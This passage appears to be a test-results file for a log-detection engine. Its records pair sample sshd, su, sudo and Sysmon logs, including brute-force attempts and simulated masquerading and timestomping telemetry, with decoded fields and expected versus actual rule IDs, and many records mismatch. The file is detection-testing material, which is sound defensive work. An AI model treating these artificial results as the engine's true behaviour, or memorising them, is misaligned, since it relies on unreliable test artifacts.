true, "ini_file": "sshd.ini", "section": "sshd brute force rule"} +{"log": "2020-03-24 08:38:42.344447-0700 localhost sshd[2519]: Failed password for user from 172.18.1.100 port 43042 ssh2", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "user", "srcip": "172.18.1.100", "srcport": "43042"}, "field_names": ["dstuser", "srcip", "srcport"], "rule": "5760", "level": "5", "expected_decoder": "sshd", "expected_rule": "5763", "rule_matches_expected": false, "ini_file": "sshd.ini", "section": "sshd brute force rule"} +{"log": "May 29 11:31:00 vagrant sshd[30016]: Invalid user user from 212.64.151.233", "decoder": "sshd", "parent": "sshd", "fields": {"srcip": "212.64.151.233", "srcuser": "user"}, "field_names": ["srcip", "srcuser"], "rule": "5710", "level": "5", "expected_decoder": "sshd", "expected_rule": "5712", "rule_matches_expected": false, "ini_file": "sshd.ini", "section": "sshd brute force rule 2"} +{"log": "May 29 11:31:00 vagrant sshd[30016]: Invalid user user from 212.64.151.233", "decoder": "sshd", "parent": "sshd", "fields": {"srcip": "212.64.151.233", "srcuser": "user"}, "field_names": ["srcip", "srcuser"], "rule": "5710", "level": "5", "expected_decoder": "sshd", "expected_rule": "5712", "rule_matches_expected": false, "ini_file": "sshd.ini", "section": "sshd brute force rule 2"} +{"log": "May 29 11:31:00 vagrant sshd[30016]: Invalid user user from 212.64.151.233", "decoder": "sshd", "parent": "sshd", "fields": {"srcip": "212.64.151.233", "srcuser": "user"}, "field_names": ["srcip", "srcuser"], "rule": "5710", "level": "5", "expected_decoder": "sshd", "expected_rule": "5712", "rule_matches_expected": false, "ini_file": "sshd.ini", "section": "sshd brute force rule 2"} +{"log": "May 29 11:31:00 vagrant sshd[30016]: Invalid user user from 212.64.151.233", "decoder": "sshd", "parent": "sshd", "fields": {"srcip": "212.64.151.233", "srcuser": "user"}, "field_names": ["srcip", "srcuser"], "rule": "5710", "level": "5", "expected_decoder": "sshd", "expected_rule": "5712", "rule_matches_expected": false, "ini_file": "sshd.ini", "section": "sshd brute force rule 2"} +{"log": "May 29 11:31:00 vagrant sshd[30016]: Invalid user user from 212.64.151.233", "decoder": "sshd", "parent": "sshd", "fields": {"srcip": "212.64.151.233", "srcuser": "user"}, "field_names": ["srcip", "srcuser"], "rule": "5710", "level": "5", "expected_decoder": "sshd", "expected_rule": "5712", "rule_matches_expected": false, "ini_file": "sshd.ini", "section": "sshd brute force rule 2"} +{"log": "May 29 11:31:00 vagrant sshd[30016]: Invalid user user from 212.64.151.233", "decoder": "sshd", "parent": "sshd", "fields": {"srcip": "212.64.151.233", "srcuser": "user"}, "field_names": ["srcip", "srcuser"], "rule": "5710", "level": "5", "expected_decoder": "sshd", "expected_rule": "5712", "rule_matches_expected": false, "ini_file": "sshd.ini", "section": "sshd brute force rule 2"} +{"log": "May 29 11:31:00 vagrant sshd[30016]: Invalid user user from 212.64.151.233", "decoder": "sshd", "parent": "sshd", "fields": {"srcip": "212.64.151.233", "srcuser": "user"}, "field_names": ["srcip", "srcuser"], "rule": "5710", "level": "5", "expected_decoder": "sshd", "expected_rule": "5712", "rule_matches_expected": false, "ini_file": "sshd.ini", "section": "sshd brute force rule 2"} +{"log": "May 29 11:31:00 vagrant sshd[30016]: Invalid user user from 212.64.151.233", "decoder": "sshd", "parent": "sshd", "fields": {"srcip": "212.64.151.233", "srcuser": "user"}, "field_names": ["srcip", "srcuser"], "rule": "5712", "level": "10", "expected_decoder": "sshd", "expected_rule": "5712", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "sshd brute force rule 2"} +{"log": "Apr 27 15:22:23 niban su[2921936]: failed: ttyq4 changing from ldap to root", "decoder": "su", "parent": "su", "fields": {"dstuser": "root", "srcuser": "ldap"}, "field_names": ["dstuser", "srcuser"], "rule": "5302", "level": "9", "expected_decoder": "su", "expected_rule": "5302", "rule_matches_expected": true, "ini_file": "su.ini", "section": "su: failed "} +{"log": "Apr 27 15:22:23 niban su[234]: BAD SU ger to fwmaster on /dev/ttyp0", "decoder": "su", "parent": "su", "fields": {"dstuser": "fwmaster", "srcuser": "ger"}, "field_names": ["dstuser", "srcuser"], "rule": "5301", "level": "5", "expected_decoder": "su", "expected_rule": "5301", "rule_matches_expected": true, "ini_file": "su.ini", "section": "su: bad pass"} +{"log": "Apr 22 17:51:51 enigma su: dcid to root on /dev/ttyp1", "decoder": "su", "parent": "su", "fields": {"dstuser": "root", "srcuser": "dcid"}, "field_names": ["dstuser", "srcuser"], "rule": "5305", "level": "4", "expected_decoder": "su", "expected_rule": "5305", "rule_matches_expected": true, "ini_file": "su.ini", "section": "su: work fts"} +{"log": "Apr 27 15:22:23 niban sudo: dcid : TTY=pts/4 ; PWD=/home/dcid ; USER=root ; COMMAND=/usr/bin/tail /var/log/snort/alert.fast", "decoder": "sudo", "parent": "sudo", "fields": {"ftscomment": "First time user executed the sudo command", "command": "/usr/bin/tail /var/log/snort/alert.fast", "dstuser": "root", "pwd": "/home/dcid", "srcuser": "dcid", "tty": "pts/4"}, "field_names": ["command", "dstuser", "ftscomment", "pwd", "srcuser", "tty"], "rule": "5403", "level": "4", "expected_decoder": "sudo", "expected_rule": "5403", "rule_matches_expected": true, "ini_file": "sudo.ini", "section": "sudo: all"} +{"log": "Apr 14 10:59:01 enigma sudo: dcid : TTY=ttyp3 ; PWD=/home/dcid/ossec-hids.0.1a/src/analysisd ; USER=root ; COMMAND=/bin/cp -pr ../../bin/addagent ../../bin/osaudit-logaudit ../../bin/ossec-execd ../../bin/ossec-logcollector ../../bin/ossec-maild ../../bin/ossec-remoted /var/ossec/bin", "decoder": "sudo", "parent": "sudo", "fields": {"ftscomment": "First time user executed the sudo command", "command": "/bin/cp -pr ../../bin/addagent ../../bin/osaudit-logaudit ../../bin/ossec-execd ../../bin/ossec-logcollector ../../bin/ossec-maild ../../bin/ossec-remoted /var/ossec/bin", "dstuser": "root", "pwd": "/home/dcid/ossec-hids.0.1a/src/analysisd", "srcuser": "dcid", "tty": "ttyp3"}, "field_names": ["command", "dstuser", "ftscomment", "pwd", "srcuser", "tty"], "rule": "5402", "level": "3", "expected_decoder": "sudo", "expected_rule": "5403", "rule_matches_expected": false, "ini_file": "sudo.ini", "section": "sudo: all"} +{"log": "Apr 19 14:52:02 enigma sudo: dcid : TTY=ttyp3 ; PWD=/var/www/alex ; USER=root ; COMMAND=/sbin/chown dcid.dcid .", "decoder": "sudo", "parent": "sudo", "fields": {"ftscomment": "First time user executed the sudo command", "command": "/sbin/chown dcid.dcid .", "dstuser": "root", "pwd": "/var/www/alex", "srcuser": "dcid", "tty": "ttyp3"}, "field_names": ["command", "dstuser", "ftscomment", "pwd", "srcuser", "tty"], "rule": "5402", "level": "3", "expected_decoder": "sudo", "expected_rule": "5403", "rule_matches_expected": false, "ini_file": "sudo.ini", "section": "sudo: all"} +{"log": "Dec 30 19:36:11 rheltest sudo: cplummer : TTY=pts/2 ; PWD=/home/cplummer1 ; USER=root ; TSID=0000UM ; COMMAND=/bin/bash", "decoder": "sudo", "parent": "sudo", "fields": {"ftscomment": "First time user executed the sudo command", "command": "/bin/bash", "dstuser": "root", "pwd": "/home/cplummer1", "srcuser": "cplummer", "tty": "pts/2"}, "field_names": ["command", "dstuser", "ftscomment", "pwd", "srcuser", "tty"], "rule": "5403", "level": "4", "expected_decoder": "sudo", "expected_rule": "5403", "rule_matches_expected": true, "ini_file": "sudo.ini", "section": "sudo: all"} +{"log": "Jun 25 15:51:13 precise32 sudo: mike : 1 incorrect password attempt ; TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/bin/ls", "decoder": "sudo", "parent": "sudo", "fields": {"ftscomment": "First time user executed the sudo command", "command": "/bin/ls", "dstuser": "root", "pwd": "/root", "srcuser": "mike", "tty": "pts/0"}, "field_names": ["command", "dstuser", "ftscomment", "pwd", "srcuser", "tty"], "rule": "5401", "level": "5", "expected_decoder": "sudo", "expected_rule": "5401", "rule_matches_expected": true, "ini_file": "sudo.ini", "section": "Failed attempt to run sudo"} +{"log": "Jun 25 15:48:21 precise32 sudo: mike : TTY=pts/0 ; PWD=/home/vagrant ; USER=root ; COMMAND=/bin/su -", "decoder": "sudo", "parent": "sudo", "fields": {"ftscomment": "First time user executed the sudo command", "command": "/bin/su -", "dstuser": "root", "pwd": "/home/vagrant", "srcuser": "mike", "tty": "pts/0"}, "field_names": ["command", "dstuser", "ftscomment", "pwd", "srcuser", "tty"], "rule": "5403", "level": "4", "expected_decoder": "sudo", "expected_rule": "5403", "rule_matches_expected": true, "ini_file": "sudo.ini", "section": "First time user executed sudo"} +{"log": "Jun 25 16:15:45 precise32 sudo: mike : 3 incorrect password attempts ; TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/bin/ls", "decoder": "sudo", "parent": "sudo", "fields": {"ftscomment": "First time user executed the sudo command", "command": "/bin/ls", "dstuser": "root", "pwd": "/root", "srcuser": "mike", "tty": "pts/0"}, "field_names": ["command", "dstuser", "ftscomment", "pwd", "srcuser", "tty"], "rule": "5404", "level": "10", "expected_decoder": "sudo", "expected_rule": "5404", "rule_matches_expected": true, "ini_file": "sudo.ini", "section": "3 incorrect password attempts"} +{"log": "Apr 13 08:36:31 ix sudo: ddp2 : user NOT in sudoers ; TTY=ttypZ ; PWD=/home/ddp2 ; USER=root ; COMMAND=/bin/ls", "decoder": "sudo", "parent": "sudo", "fields": {"ftscomment": "First time user executed the sudo command", "command": "/bin/ls", "dstuser": "root", "pwd": "/home/ddp2", "srcuser": "ddp2", "tty": "ttypZ"}, "field_names": ["command", "dstuser", "ftscomment", "pwd", "srcuser", "tty"], "rule": "5405", "level": "5", "expected_decoder": "sudo", "expected_rule": "5405", "rule_matches_expected": true, "ini_file": "sudo.ini", "section": "unauthorized user"} +{"log": "2014 Dec 20 09:29:47 WinEvtLog: Microsoft-Windows-Sysmon/Operational: INFORMATION(1): Microsoft-Windows-Sysmon: SYSTEM: NT AUTHORITY: WIN-U93G48C7BOP: Process Create: UtcTime: 12/20/2014 2:29 PM ProcessGuid: {00000000-87DB-5495-0000-001045F25A00} ProcessId: 3048 Image: C:\\Windows\\system32\\svchost.exe CommandLine: \"C:\\Windows\\system32\\NOTEPAD.EXE\" C:\\Users\\Administrator\\Desktop\\ossec.log User: WIN-U93G48C7BOP\\Administrator LogonGuid: {00000000-84B8-5494-0000-0020CB330200} LogonId: 0x233CB TerminalSessionId: 1 IntegrityLevel: High HashType: SHA1 Hash: 9FEF303BEDF8430403915951564E0D9888F6F365 ParentProcessGuid: {00000000-84B9-5494-0000-0010BE4A0200} ParentProcessId: 848 ParentImage: C:\\Windows\\Explorer.EXE ParentCommandLine: C:\\Windows\\Explorer.EXE", "decoder": "windows", "parent": "windows", "fields": {"srcuser": "WIN-U93G48C7BOP\\Administrator", "sysmon.hash": "9FEF303BEDF8430403915951564E0D9888F6F365", "sysmon.image": "C:\\Windows\\system32\\svchost.exe", "sysmon.parentImage": "C:\\Windows\\Explorer.EXE"}, "field_names": ["srcuser", "sysmon.hash", "sysmon.image", "sysmon.parentImage"], "rule": "184666", "level": "12", "expected_decoder": "windows", "expected_rule": "184666", "rule_matches_expected": true, "ini_file": "sysmon.ini", "section": "Sysmon EventID#1 - Suspicious svchost process"} +{"log": "2014 Dec 20 09:29:47 WinEvtLog: Microsoft-Windows-Sysmon/Operational: INFORMATION(1): Microsoft-Windows-Sysmon: SYSTEM: NT AUTHORITY: WIN-U93G48C7BOP: Process Create: UtcTime: 12/20/2014 12:15 PM ProcessGuid: {00000000-87DB-5495-0000-001045F25A00} ProcessId: 3048 Image: C:\\Windows\\system32\\svchost.exe CommandLine: \"C:\\windows\\system32\\svchost.exe -k defragsvc\" User: NT AUTHORITY\\SYSTEM LogonGuid: {00000000-84B8-5494-0000-0020CB330200} LogonId: 0x233CB TerminalSessionId: 1 IntegrityLevel: High HashType: SHA1 Hash: 9FEF303BEDF8430403915951564E0D9888F6F365 ParentProcessGuid: {00000000-84B9-5494-0000-0010BE4A0200} ParentProcessId: 848 ParentImage: C:\\Windows\\System32\\services.exe ParentCommandLine: C:\\Windows\\System32\\services.exe", "decoder": "windows", "parent": "windows", "fields": {"srcuser": "NT AUTHORITY\\SYSTEM", "sysmon.hash": "9FEF303BEDF8430403915951564E0D9888F6F365", "sysmon.image": "C:\\Windows\\system32\\svchost.exe", "sysmon.parentImage": "C:\\Windows\\System32\\services.exe"}, "field_names": ["srcuser", "sysmon.hash", "sysmon.image", "sysmon.parentImage"], "rule": "184667", "level": "0", "expected_decoder": "windows", "expected_rule": "184667", "rule_matches_expected": true, "ini_file": "sysmon.ini", "section": "Sysmon EventID#1 - non-Suspicious svchost process"} +{"log": "2013 Oct 09 17:09:04 WinEvtLog: Application: INFORMATION(1): My Script: (no user): no domain: demo1.foo.example.com: test", "decoder": "windows", "parent": "windows", "fields": {"dstuser": "(no user)", "extra_data": "My Script", "id": "1", "status": "INFORMATION", "system_name": "demo1.foo.example.com", "type": "Application"}, "field_names": ["dstuser", "extra_data", "id", "status", "system_name", "type"], "rule": "18101", "level": "0", "expected_decoder": "windows", "expected_rule": "18101", "rule_matches_expected": true, "ini_file": "sysmon.ini", "section": "Windows Event"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"Wmiprvse.exe\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wbem\\\\\\\\WmiPrvSE.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{00000000-0000-0000-0000-000000000000}\",\"description\":\"WMI Provider Host\",\"logonGuid\":\"{4dc16835-1309-6130-e403-000000000000}\",\"processGuid\":\"{4dc16835-eaa5-612f-d04e-830000000000}\",\"logonId\":\"0x3e4\",\"parentProcessId\":\"720\",\"processId\":\"3552\",\"currentDirectory\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\",\"utcTime\":\"2021-09-01 21:03:33.317\",\"hashes\":\"SHA1=3EA7CC066317AC45F963C2227C4C7C50AA16EB7C,MD5=60FF40CFD7FB8FE41EE4FE9AE5FE1C51,SHA256=2198A7B58BCCB758036B969DDAE6CC2ECE07565E2659A7C541A313A0492231A3,IMPHASH=B71CB3AC5C352BEC857C940CBC95F0F3\",\"ruleName\":\"technique_id=T1047,technique_name=Windows Management Instrumentation\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\wbem\\\\\\\\wmiprvse.exe -secured -Embedding\",\"integrityLevel\":\"System\",\"fileVersion\":\"10.0.19041.546 (WinBuild.160101.0800)\",\"user\":\"NT AUTHORITY\\\\\\\\NETWORK SERVICE\",\"terminalSessionId\":\"0\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1047,technique_name=Windows Management Instrumentation\\r\\nUtcTime: 2021-09-01 21:03:33.317\\r\\nProcessGuid: {4dc16835-eaa5-612f-d04e-830000000000}\\r\\nProcessId: 3552\\r\\nImage: C:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe\\r\\nFileVersion: 10.0.19041.546 (WinBuild.160101.0800)\\r\\nDescription: WMI Provider Host\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: Wmiprvse.exe\\r\\nCommandLine: C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: NT AUTHORITY\\\\NETWORK SERVICE\\r\\nLogonGuid: {4dc16835-1309-6130-e403-000000000000}\\r\\nLogonId: 0x3E4\\r\\nTerminalSessionId: 0\\r\\nIntegrityLevel: System\\r\\nHashes: SHA1=3EA7CC066317AC45F963C2227C4C7C50AA16EB7C,MD5=60FF40CFD7FB8FE41EE4FE9AE5FE1C51,SHA256=2198A7B58BCCB758036B969DDAE6CC2ECE07565E2659A7C541A313A0492231A3,IMPHASH=B71CB3AC5C352BEC857C940CBC95F0F3\\r\\nParentProcessGuid: {00000000-0000-0000-0000-000000000000}\\r\\nParentProcessId: 720\\r\\nParentImage: -\\r\\nParentCommandLine: -\\\"\",\"version\":\"5\",\"systemTime\":\"2021-09-01T21:03:33.3185950Z\",\"eventRecordID\":\"351608\",\"threadID\":\"3644\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2516\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "WMI Provider Host", "win.eventdata.fileVersion": "10.0.19041.546 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=3EA7CC066317AC45F963C2227C4C7C50AA16EB7C,MD5=60FF40CFD7FB8FE41EE4FE9AE5FE1C51,SHA256=2198A7B58BCCB758036B969DDAE6CC2ECE07565E2659A7C541A313A0492231A3,IMPHASH=B71CB3AC5C352BEC857C940CBC95F0F3", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe", "win.eventdata.integrityLevel": "System", "win.eventdata.logonGuid": "{4dc16835-1309-6130-e403-000000000000}", "win.eventdata.logonId": "0x3e4", "win.eventdata.originalFileName": "Wmiprvse.exe", "win.eventdata.parentProcessGuid": "{00000000-0000-0000-0000-000000000000}", "win.eventdata.parentProcessId": "720", "win.eventdata.processGuid": "{4dc16835-eaa5-612f-d04e-830000000000}", "win.eventdata.processId": "3552", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1047,technique_name=Windows Management Instrumentation", "win.eventdata.terminalSessionId": "0", "win.eventdata.user": "NT AUTHORITY\\\\NETWORK SERVICE", "win.eventdata.utcTime": "2021-09-01 21:03:33.317", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "351608", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2516", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-01T21:03:33.3185950Z", "win.system.task": "1", "win.system.threadID": "3644", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61603", "rule_matches_expected": false, "ini_file": "sysmon.ini", "section": "Sysmon EventID 1"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Users\\\\\\\\ATOMIC~1\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\{B280E7B6-1E83-4F12-8EDA-F1AB03DBFEC5}\\\\\\\\.cr\\\\\\\\dotnet-sdk-5.0.200-win-x64.exe\",\"processGuid\":\"{4dc16835-7d51-6042-1801-000000001100}\",\"processId\":\"3788\",\"utcTime\":\"2021-03-05 18:50:12.790\",\"targetFilename\":\"C:\\\\\\\\Users\\\\\\\\ATOMIC~1\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\{015C7FBB-55E8-4F48-A734-CEC83D0AB3A2}\\\\\\\\AspNetCoreSharedFramework_x64\",\"previousCreationUtcTime\":\"2021-03-05 18:50:12.774\",\"ruleName\":\"technique_id=T1099,technique_name=Timestomp\",\"creationUtcTime\":\"2021-01-23 20:57:42.000\"},\"system\":{\"eventID\":\"2\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"File creation time changed:\\r\\nRuleName: technique_id=T1099,technique_name=Timestomp\\r\\nUtcTime: 2021-03-05 18:50:12.790\\r\\nProcessGuid: {4dc16835-7d51-6042-1801-000000001100}\\r\\nProcessId: 3788\\r\\nImage: C:\\\\Users\\\\ATOMIC~1\\\\AppData\\\\Local\\\\Temp\\\\{B280E7B6-1E83-4F12-8EDA-F1AB03DBFEC5}\\\\.cr\\\\dotnet-sdk-5.0.200-win-x64.exe\\r\\nTargetFilename: C:\\\\Users\\\\ATOMIC~1\\\\AppData\\\\Local\\\\Temp\\\\{015C7FBB-55E8-4F48-A734-CEC83D0AB3A2}\\\\AspNetCoreSharedFramework_x64\\r\\nCreationUtcTime: 2021-01-23 20:57:42.000\\r\\nPreviousCreationUtcTime: 2021-03-05 18:50:12.774\\\"\",\"version\":\"5\",\"systemTime\":\"2021-03-05T18:50:12.8065118Z\",\"eventRecordID\":\"49656\",\"threadID\":\"2180\",\"computer\":\"DESKTOP-2QKFOBA\",\"task\":\"2\",\"processID\":\"2128\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-01-23 20:57:42.000", "win.eventdata.image": "C:\\\\Users\\\\ATOMIC~1\\\\AppData\\\\Local\\\\Temp\\\\{B280E7B6-1E83-4F12-8EDA-F1AB03DBFEC5}\\\\.cr\\\\dotnet-sdk-5.0.200-win-x64.exe", "win.eventdata.previousCreationUtcTime": "2021-03-05 18:50:12.774", "win.eventdata.processGuid": "{4dc16835-7d51-6042-1801-000000001100}", "win.eventdata.processId": "3788", "win.eventdata.ruleName": "technique_id=T1099,technique_name=Timestomp", "win.eventdata.targetFilename": "C:\\\\Users\\\\ATOMIC~1\\\\AppData\\\\Local\\\\Temp\\\\{015C7FBB-55E8-4F48-A734-CEC83D0AB3A2}\\\\AspNetCoreSharedFramework_x64", "win.eventdata.utcTime": "2021-03-05 18:50:12.790", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "DESKTOP-2QKFOBA", "win.system.eventID": "2", "win.system.eventRecordID": "49656", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2128", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-03-05T18:50:12.8065118Z", "win.system.task": "2", "win.system.threadID": "2180", "win.system.version": "5"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.previousCreationUtcTime", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61604", "rule_matches_expected": false, "ini_file": "sysmon.ini", "section": "Sysmon EventID 2"} +{"log": "{\"win\":{\"eventdata\":{\"destinationPort\":\"7010\",\"image\":\"C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\super_scary.exe\",\"sourcePort\":\"49747\",\"initiated\":\"true\",\"destinationIp\":\"192.168.0.4\",\"protocol\":\"tcp\",\"processGuid\":\"{4dc16835-b1a4-6112-d917-2f0000000000}\",\"sourceIp\":\"192.168.0.121\",\"processId\":\"1320\",\"utcTime\":\"2021-08-10 17:04:40.816\",\"ruleName\":\"technique_id=T1036,technique_name=Masquerading\",\"destinationIsIpv6\":\"false\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"sourceIsIpv6\":\"false\"},\"system\":{\"eventID\":\"3\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Network connection detected:\\r\\nRuleName: technique_id=T1036,technique_name=Masquerading\\r\\nUtcTime: 2021-08-10 17:04:40.816\\r\\nProcessGuid: {4dc16835-b1a4-6112-d917-2f0000000000}\\r\\nProcessId: 1320\\r\\nImage: C:\\\\Users\\\\Public\\\\super_scary.exe\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nProtocol: tcp\\r\\nInitiated: true\\r\\nSourceIsIpv6: false\\r\\nSourceIp: 192.168.0.121\\r\\nSourceHostname: -\\r\\nSourcePort: 49747\\r\\nSourcePortName: -\\r\\nDestinationIsIpv6: false\\r\\nDestinationIp: 192.168.0.4\\r\\nDestinationHostname: -\\r\\nDestinationPort: 7010\\r\\nDestinationPortName: -\\\"\",\"version\":\"5\",\"systemTime\":\"2021-08-10T17:04:41.8691945Z\",\"eventRecordID\":\"328239\",\"threadID\":\"3444\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"3\",\"processID\":\"2312\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.destinationIp": "192.168.0.4", "win.eventdata.destinationIsIpv6": "false", "win.eventdata.destinationPort": "7010", "win.eventdata.image": "C:\\\\Users\\\\Public\\\\super_scary.exe", "win.eventdata.initiated": "true", "win.eventdata.processGuid": "{4dc16835-b1a4-6112-d917-2f0000000000}", "win.eventdata.processId": "1320", "win.eventdata.protocol": "tcp", "win.eventdata.ruleName": "technique_id=T1036,technique_name=Masquerading", "win.eventdata.sourceIp": "192.168.0.121", "win.eventdata.sourceIsIpv6": "false", "win.eventdata.sourcePort": "49747", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-08-10 17:04:40.816", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "3", "win.system.eventRecordID": "328239", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2312", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-08-10T17:04:41.8691945Z", "win.system.task": "3", "win.system.threadID": "3444", "win.system.version": "5"}, "field_names": ["win.eventdata.destinationIp", "win.eventdata.destinationIsIpv6", "win.eventdata.destinationPort", "win.eventdata.image", "win.eventdata.initiated", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.protocol", "win.eventdata.ruleName", "win.eventdata.sourceIp", "win.eventdata.sourceIsIpv6", "win.eventdata.sourcePort", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61605", "rule_matches_expected": false, "ini_file": "sysmon.ini", "section": "Sysmon EventID 3"} +{"log": "{\"win\":{\"eventdata\":{\"schemaVersion\":\"4.70\",\"utcTime\":\"2021-08-13 20:59:07.499\",\"state\":\"Started\",\"version\":\"13.22\"},\"system\":{\"eventID\":\"4\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Sysmon service state changed:\\r\\nUtcTime: 2021-08-13 20:59:07.499\\r\\nState: Started\\r\\nVersion: 13.22\\r\\nSchemaVersion: 4.70\\\"\",\"version\":\"3\",\"systemTime\":\"2021-08-13T20:59:07.4999128Z\",\"eventRecordID\":\"342247\",\"threadID\":\"4260\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"4\",\"processID\":\"2668\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.schemaVersion": "4.70", "win.eventdata.state": "Started", "win.eventdata.utcTime": "2021-08-13 20:59:07.499", "win.eventdata.version": "13.22", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4", "win.system.eventRecordID": "342247", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2668", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": 